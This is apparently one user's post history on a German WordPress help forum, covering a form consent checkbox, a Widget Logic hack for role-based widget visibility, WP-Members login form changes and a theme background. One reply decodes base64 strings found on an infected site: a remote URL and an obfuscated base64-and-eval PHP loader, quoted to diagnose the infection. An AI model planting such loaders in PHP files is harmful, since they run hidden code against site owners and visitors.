Beiträge von MStemberg

    Sieht mir eher so aus, als ob Du da ein "Zustimmung"-Feld drin hättest.

    Der Button funktioniert bei mir in FF, wenn ich alle Felder ausfülle (alle required?), um dann zu sagen:

    Zitat

    Bitte akzeptieren Sie die Bedingungen um fortzufahren.



    Kann ich aber nicht, da keine Checkbox o.ä. vorhanden ist, um die Bedingungen zu akzeptieren.

    Das ist aber IMHO normales Verhalten: keine Bedingungen akzeptiert --> kein Absenden.

    Irgendwann letztens mal ein Update des Plugins gemacht und es ist vielleicht ein Bug im JS-Code? Oder ist ein Zustimmungs-Feld im Formular, welches evtl. nicht richtig formatiert wird? WENN nämlich Zustimmungsfeld, dann ohne Zustimmung kein Absenden möglich. Und das scheint zumindest FF anzunehmen, das ein Zustimmungsfeld da wäre...ist es auch, gerade mit Firebug geschaut:



    Liegt zwischen "MwSt ausweisbar" und dem CAPTCHA.

    Ein Plugin dafür ist mir nicht bekannt, ABER:
    nach etwas rumprobieren habe ich dafür einen Hack gefunden, den man in Widget Logic einbauen kann. Nachteil: er ist nicht ganz so bequem anzuwenden wie Widget Logic selbst, also einfach mit Eingabe der entsprechenden Tags - man muss in den Quelltext von WL eingreifen und das bei einem Update wiederholen.

    Widget-Logic "schaltet sich in den Original-Callback für die Widgets" ein, prüft anhand der Template-Tags, ob der Wert $wl_value TRUE oder FALSE ist. Ist er TRUE, wird das Widget angezeigt, ist er FALSE, nicht.

    Hier greifen wir im Plugin ein:

    PHP
    function widget_logic_redirected_callback()




    Über

    PHP
    if ( $wl_value )



    und UNTER

    PHP
    $wl_value=(eval($wl_value) && is_callable($callback));



    fragen wir zunächst die Gruppe (Rolle) des Users ab (im Widget "Counter" ist im Widget Logic-Teil nix eingetragen, der Wert wäre also immer TRUE für das Widget Counter.

    PHP
    global $current_user;
        get_currentuserinfo();
        $user_roles = $current_user->roles;
        $user_role = array_shift($user_roles);



    In $user_role steht nun die Rolle des Users.

    Nun brauchen wir die ID des Widgets:

    Hierzu einfach mal mit echo diese ausgeben lassen:

    PHP
    echo "WERT: $wl_value ID-Widget: $id";



    Hat man die ID des Widgets, kann man das wieder auskommentieren.

    Und jetzt entwscheiden wir anhand von $id und Rolle, ob der Wert $wl_value TRUE bleibt oder nicht.

    Eine angenommene Widget-ID von counter-2 und dass das Widget nur für Admins sichtbar sein soll, ergäbe also zuguterletzt:

    PHP
    if ($id=="counter-2" && $user_role!="administrator") {
    $wl_value=false;
    }



    Nun dürfte das Counter-Widget nur noch für angemeldete Administratoren sichtbar sein.

    Hoffe, das hilft Dir weiter.

    Ist BASE64 verschlüsselt.

    Das hier "Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85 Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+" ergibt

    PHP
    ?><?php $3rl = 'http://96.69e.a6e.o0/bt.php'; ?>



    Und das "JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF 9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVy ZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWC k7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=="

    Code
    $_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;



    Damit findest Du dann bei Google Suche dieses Document:

    http://www.esotech.org/resources/cms/…on-and-analysis

    der das Problem (auf englisch) beschreibt und auch, wie man es löst.

    Viel Erfolg!

    Nein - ich hab weiter oben geschrieben, wo Du was rausnehmen musst, um das so zu machen wie ich auf die Schnelle (Link: http://forum.wordpress-deutschland.org/plugins-und-wi…html#post412865)

    Hierbei solltest Du aber beachten, dass bei einem Update die Änderung ggf. überschrieben wird und daher zu wiederholen ist. Ist ein bloßes Auskommentieren einer Zeile, also schnell gemacht - kannst ja mal probieren, ob Dir dieser weg weiterhilft. Wenn nicht, nimmst Du einfach die // am Anfang der entsprechenden Zeile wieder weg, dann ist alles beim Alten.

    Der Shortcode wird nicht zu finden sein, zum letzten Mal. Der Muss nicht eingefügt werden, wenn Seiten/Artikel nicht allgemein zugänglich sind -> 1. Reiter bei den Checkboxen der WP-Members-Einstellungen.

    Wird dynamisch eingefügt, wenn Seiten restricted sind. Ist im Quelltext nachzuvollziehen und in der readme nachzulesen, wo und wann er da das Formular ausgibt:

    Wenn restricted, dann

    Zitat


    * To begin restricting posts, you will need to be using the `<!--more-->` link. Content above to the "more" split will display on summary pages (home, archive, category) but the user will be required to login to view the entire post.
    * To begin restricting pages, change the plugin default setting for pages to be blocked. The `<!--more-->` link is not necessary in the blocking of pages, but must be used if you have the "show excerpts" setting turned on.



    und in wp-members-core:

    PHP
    $content = $content . wpmem_inc_login();



    Und das generiert dann die Form unter dem Content, s.o..

    Du schickst Goebi da auf eine Suche, die keinen Erfolg haben kann...

    Ein Plugin MUSS keinen Shortcode nutzen, um irgendwas mit dem Content anzustellen.

    Gibt es - sobald Du Posts/Pages nur für angemeldete User freigibst und jedem anderen nur den Auszug zeigst, soweit ich mich erinnere - ich hab auf jeden Fall keinen Shortcode genutzt; genau gesagt überhaupt nix an meinen Posts/Seiten verändert, nur die Einstellungen (1. Reiter "Options", irgendwelche Checkboxen angeklickt) - und hatte dann schwupps das Formular auf den Seiten.

    Sagt ja auch die readme: "optional" kannst Du den Shortcode verwenden, musst Du aber nicht.

    Zitat

    * There is also a shortcode to create an optional login page. Use [wp-members page="login"] for this.

    Blöd nur, dass ich in meiner lokalen Installation mit Sicherheit keinen derartigen Shortcode eingegeben hatte :D.

    Das Formular "Existing Users" tauchte aber dennoch auf. Der Shortcode ist, wie aus dem readme hervorgeht, lediglich optional - heisst aber nicht, dass nunmehr nirgendwo das Formular auftauchte - das kann WP-Members ganz alleine, s.o.

    Habe es gerade mal angeschaut.

    Auf die Schnelle würde ich sagen:

    In der wp-members-dialog.php findest Du recht weit oben die Funktion

    PHP
    function wpmem_inc_login($page="page")



    Hier existiert die Zeile

    PHP
    $str = $str . wpmem_login_form( $page, $arr );



    Diese habe ich auskommentiert (//), und das Formular "Exisiting Users" war weg.

    Zur Eindeutschung:

    http://butlerblog.com/wp-members/wp-members-translations/

    Hierzu stehen die Anleitungen auf der Seite, das Plugin muss dazu de-installiert und gelöscht und erneut installiert/aktiviert werden, da die Sprachdefinitionen wohl in der DB gehalten werden.

    Hoffe, das hilft Dir weiter.

    Dein Hintergrundbild wird in der template-datei definiert, damit werden die Angaben in der style.css "überschrieben".

    Code
    [B] <style type="text/css" media="screen">                @import url( http://d5148.ispservices.at/wp-content/themes/aerodrome/style.css );        </style>[/B]                               
    [...]
     [B]<style type="text/css">      body { background: url([URL]http://d5148.ispservices.at/wp-content/themes/aerodrome/images/default.jpg[/URL]) no-repeat fixed center center #fff; }      </style>[/B]